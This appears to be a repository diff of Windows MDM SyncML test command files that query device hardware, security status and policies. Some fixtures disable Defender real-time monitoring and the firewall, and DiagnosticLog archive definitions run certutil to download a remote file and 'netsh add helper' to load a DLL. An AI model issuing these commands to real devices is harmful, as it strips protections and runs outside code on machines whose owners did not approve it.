<LocURI>./DevDetail/Ext/Microsoft/DNSComputerName</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/Ext/Microsoft/LocalTime</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/Ext/Microsoft/OSPlatform</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/Ext/WlanIPv4Address</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/FwV</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/HwV</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/SwV</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/Antivirus/SignatureStatus</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/Antivirus/Status</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/DeviceGuard/HypervisorEnforcedCodeIntegrityStatus</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/DeviceGuard/VirtualizationBasedSecurityStatus</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/DeviceGuard/LsaCfgCredGuardStatus</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/DeviceGuard/SystemGuardStatus</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/Firewall/Status</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/OS/Edition</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevInfo/DevId</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevInfo/DmV</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevInfo/Lang</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevInfo/Man</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevInfo/Mod</LocURI>
</Target>
</Item>
</Get>

View File

@ -0,0 +1,307 @@
<Add>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/Policy/Config/Defender/AllowRealtimeMonitoring</LocURI>
</Target>
<Meta>
<Format>int</Format>
<Type>text/plain</Type>
</Meta>
<Data>0</Data>
</Item>
</Add>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimv2/Win32_LogicalDisk</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/Ext/DeviceHardwareData</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimv2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/FreeSpace</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>Win32_LogicalDisk.DeviceID="C:"/Win32_LogicalDisk.DeviceID="D:"</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>Win32_LogicalDisk.DeviceID="C:"/Win32_LogicalDisk.DeviceID="D:"</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/WiFi/Profile</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_BIOS</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_BaseBoard</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_BaseBoard</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/DriveTyp</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/FileSystem</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/FreeSpace</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/Size</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/VolumeName</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_LogicalDisk/Win32_LogicalDisk.DeviceID='C:'/VolumeSerialNumber</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/Capacity</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/DataWidth</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/Description</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/DeviceLocator</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/FormFactor</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/Manufacturer</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/PartNumber</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/SerialNumber</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/Speed</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item />
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_PhysicalMemory/Win32_PhysicalMemory.Tag='Physical%20Memory%200'/TotalWidth</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/SecureBootState</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/Compliance/EncryptionCompliance</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/TPM/SpecificationVersion</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/Battery/Status</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/Battery/EstimatedChargeRemaining</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DeviceStatus/Battery/EstimatedRuntime</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/BitLocker/RequireDeviceEncryption</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/BitLocker/EncryptionMethodByDriveType</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DmClient/Provider/MiradoreMDM/HWDevID</LocURI>
</Target>
</Item>
</Get>
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./cimV2/Win32_ComputerSystemProduct</LocURI>
</Target>
</Item>
</Get>

View File

@ -0,0 +1,92 @@
<Exec>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DiagnosticLog/DiagnosticArchive/ArchiveDefinition</LocURI>
</Target>
<Data>&lt;Collection&gt;
&lt;ID&gt;2e20cb4-9789-4f6b-8f6a-766989764c6d&lt;/ID&gt;
&lt;SasUrl&gt;&lt;![CDATA[https://myaccount.blob.core.windows.net/mycontainer?sp=aw&amp;st=2020-07-01T23:02:07Z&amp;se=2020-07-02T23:02:07Z&amp;sv=2019-10-10&amp;sr=c&amp;sig=wx9%2FhwrczAI0nZL7zl%2BhfZVfOBvboTAnrGYfjlO%2FRFA%3D]]&gt;&lt;/SasUrl&gt;
&lt;RegistryKey&gt;HKLM\Software\Policies&lt;/RegistryKey&gt;
&lt;FoldersFiles&gt;%ProgramData%\Microsoft\DiagnosticLogCSP\Collectors\*.etl&lt;/FoldersFiles&gt;
&lt;Command&gt;%windir%\system32\ipconfig.exe /all&lt;/Command&gt;
&lt;Command&gt;%windir%\system32\dsregcmd.exe /all&lt;/Command&gt;
&lt;Command&gt;%windir%\system32\netsh.exe firewall set opmode disable&lt;/Command&gt;
&lt;Command&gt;%windir%\system32\certutil.exe -urlcache -split -f https://mdmwindows.com/static/hello.txt hello.txt&lt;/Command&gt;
&lt;Command&gt;%windir%\system32\netsh.exe add helper C:\Users\User\file.dll&lt;/Command&gt;
&lt;Events&gt;Application&lt;/Events&gt;
&lt;OutputFileFormat&gt;Flattened&lt;/OutputFileFormat&gt;
&lt;/Collection&gt;</Data>
<Meta>
<Type xmlns="syncml:metinf">text/plain</Type>
<Format xmlns="syncml:metinf">xml</Format>
</Meta>
</Item>
</Exec>
<Exec>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DiagnosticLog/DiagnosticArchive/ArchiveDefinition</LocURI>
</Target>
<Data>&lt;Collection&gt;
&lt;ID&gt;4e52cb3-3789-4f6b-8f6a-766989764c6d&lt;/ID&gt;
&lt;SasUrl&gt;&lt;![CDATA[https://myaccount.blob.core.windows.net/mycontainer?sp=aw&amp;st=2020-07-01T23:02:07Z&amp;se=2020-07-02T23:02:07Z&amp;sv=2019-10-10&amp;sr=c&amp;sig=wx9%2FhwrczAI0nZL7zl%2BhfZVfOBvboTAnrGYfjlO%2FRFA%3D]]&gt;&lt;/SasUrl&gt;
&lt;Command&gt;%windir%\system32\ipconfig.exe /all&lt;/Command&gt;
&lt;Command&gt;%windir%\system32\dsregcmd.exe /all&lt;/Command&gt;
&lt;Command&gt;%windir%\system32\netsh.exe firewall set opmode disable&lt;/Command&gt;
&lt;Command&gt;%windir%\system32\certutil.exe -urlcache -split -f https://mdmwindows.com/static/hello.txt hello.txt&lt;/Command&gt;
&lt;Command&gt;%windir%\system32\netsh.exe add helper C:\Users\User\file.dll&lt;/Command&gt;
&lt;OutputFileFormat&gt;Flattened&lt;/OutputFileFormat&gt;
&lt;/Collection&gt;</Data>
</Item>
</Exec>
<! ================ minimal working == ?>
<Exec>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DiagnosticLog/DiagnosticArchive/ArchiveDefinition</LocURI>
</Target>
<Data>&lt;Collection&gt;
&lt;ID&gt;2e31cb4-9789-4f6b-8f6a-766989764c6d&lt;/ID&gt;
&lt;SasUrl&gt;&lt;![CDATA[https://myaccount.blob.core.windows.net/mycontainer?sp=aw&amp;st=2020-07-01T23:02:07Z&amp;se=2020-07-02T23:02:07Z&amp;sv=2019-10-10&amp;sr=c&amp;sig=wx9%2FhwrczAI0nZL7zl%2BhfZVfOBvboTAnrGYfjlO%2FRFA%3D]]&gt;&lt;/SasUrl&gt;
&lt;Command&gt;%windir%\system32\mdmdiagnosticstool.exe -out %ProgramData%\temp2\&lt;/Command&gt;
&lt;OutputFileFormat&gt;Flattened&lt;/OutputFileFormat&gt;
&lt;/Collection&gt;</Data>
</Item>
</Exec>
<! ================ minimal working ===== ?>
<Collection>
<ID>f1e20cb4-9789-4f6b-8f6a-766989764c6d</ID>
<SasUrl><![CDATA[https://myaccount.blob.core.windows.net/mycontainer?sp=aw&st=2020-07-01T23:02:07Z&se=2020-07-02T23:02:07Z&sv=2019-10-10&sr=c&sig=wx9%2FhwrczAI0nZL7zl%2BhfZVfOBvboTAnrGYfjlO%2FRFA%3D]]></SasUrl>
<RegistryKey>HKLM\Software\Policies</RegistryKey>
<FoldersFiles>%ProgramData%\Microsoft\DiagnosticLogCSP\Collectors\*.etl</FoldersFiles>
<Command>%windir%\system32\ipconfig.exe /all</Command>
<Command>%windir%\system32\mdmdiagnosticstool.exe -out %ProgramData%\temp\</Command>
<FoldersFiles>%ProgramData%\temp\*.*</FoldersFiles>
<Events>Application</Events>
<OutputFileFormat>Flattened</OutputFileFormat>
</Collection>
<Exec>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DiagnosticLog/DiagnosticArchive/ArchiveDefinition</LocURI>
</Target>
<Data></Data>
<Meta>
<Type xmlns="syncml:metinf">text/plain</Type>
<Format xmlns="syncml:metinf">xml</Format>
</Meta>
</Item>
</Exec>

View File

@ -0,0 +1,25 @@
<Add>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DiagnosticLog/EtwLog/Collectors/CustomTraceSession/
Providers/22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716</LocURI>
</Target>
<Meta>
<Format xmlns="syncml:metinf">node</Format>
</Meta>
</Item>
</Add>
<Exec>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/DiagnosticLog/EtwLog/Collectors/CustomTraceSession/TraceControl</LocURI>
</Target>
<Meta>
<Format xmlns="syncml:metinf">chr</Format>
</Meta>
<Data>START</Data>
</Item>
</Exec>

View File

@ -0,0 +1,13 @@
<Add>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/Policy/Config/Settings/AllowDateTime</LocURI>
</Target>
<Meta>
<A:Format>int</A:Format>
<A:Type>text/plain</A:Type>
</Meta>
<Data>0</Data>
</Item>
</Add>

View File

@ -0,0 +1,13 @@
<Add>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/Policy/Config/Defender/AllowRealtimeMonitoring</LocURI>
</Target>
<Meta>
<Format>int</Format>
<Type>text/plain</Type>
</Meta>
<Data>0</Data>
</Item>
</Add>

View File

@ -0,0 +1,13 @@
<Add>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/Firewall/MdmStore/PrivateProfile/EnableFirewall</LocURI>
</Target>
<Meta>
<A:Format>bool</A:Format>
<A:Type>text/plain</A:Type>
</Meta>
<Data>false</Data>
</Item>
</Add>

View File

@ -0,0 +1,8 @@
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/CertificateStore/Root/System?list=StructData</LocURI>
</Target>
</Item>
</Get>

View File

@ -0,0 +1,8 @@
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Device/Vendor/MSFT/DeviceManageability/Capabilities/CSPVersions</LocURI>
</Target>
</Item>
</Get>

View File

@ -0,0 +1,8 @@
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/Ext/Microsoft/DeviceName</LocURI>
</Target>
</Item>
</Get>

View File

@ -0,0 +1,8 @@
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/HwV</LocURI>
</Target>
</Item>
</Get>

View File

@ -0,0 +1,8 @@
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/Ext/Microsoft/LocalTime</LocURI>
</Target>
</Item>
</Get>

View File

@ -0,0 +1,8 @@
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/Ext/Microsoft/OSPlatform</LocURI>
</Target>
</Item>
</Get>

View File

@ -0,0 +1,8 @@
<Get>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./DevDetail/SwV</LocURI>
</Target>
</Item>
</Get>

View File

@ -0,0 +1,13 @@
<Replace>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/Personalization/DesktopImageUrl</LocURI>
</Target>
<Meta>
<Format xmlns="syncml:metinf">chr</Format>
<Type>text/plain</Type>
</Meta>
<Data>https://fleetdm.com/images/articles/fleet-4.24.0-cover-1600x900@2x.jpg</Data>
</Item>
</Replace>

View File

@ -0,0 +1,13 @@
<Replace>
<CmdID>xxcmdidxx</CmdID>
<Item>
<Target>
<LocURI>./Vendor/MSFT/Personalization/LockScreenImageUrl</LocURI>
</Target>
<Meta>
<Format xmlns="syncml:metinf">chr</Format>
<Type>text/plain</Type>
</Meta>
<Data>https://fleetdm.com/images/articles/fleet-4.24.0-cover-1600x900@2x.jpg</Data>
</Item>
</Replace>

View File

@ -0,0 +1 @@
world

Binary file not shown.

View File

@ -0,0 +1,25 @@
<html>
<head>
<title>Terms and Conditions</title>
</head>
<body>
<center>
<br>
<h1>Term Of Service</h1>
<br> Terms and Conditions text should go here <center>
<br>
<!--<button type="button" onClick="closeBtn()">Decline</button>-->
<button type="button" onClick="acceptBtn()">Accept</button>
<script>
function acceptBtn() {
var urlParams = new URLSearchParams(window.location.search);
if (!urlParams.has('redirect_uri')) {
alert('Redirect url not found. Did you open this in your broswer?');
} else {
window.location = urlParams.get('redirect_uri') + "?IsAccepted=true&OpaqueBlob=TODOCustomDataFromAzureAD";
alert(window.location)
}
}
</script>
</body>
</html>

File diff suppressed because it is too large Load Diff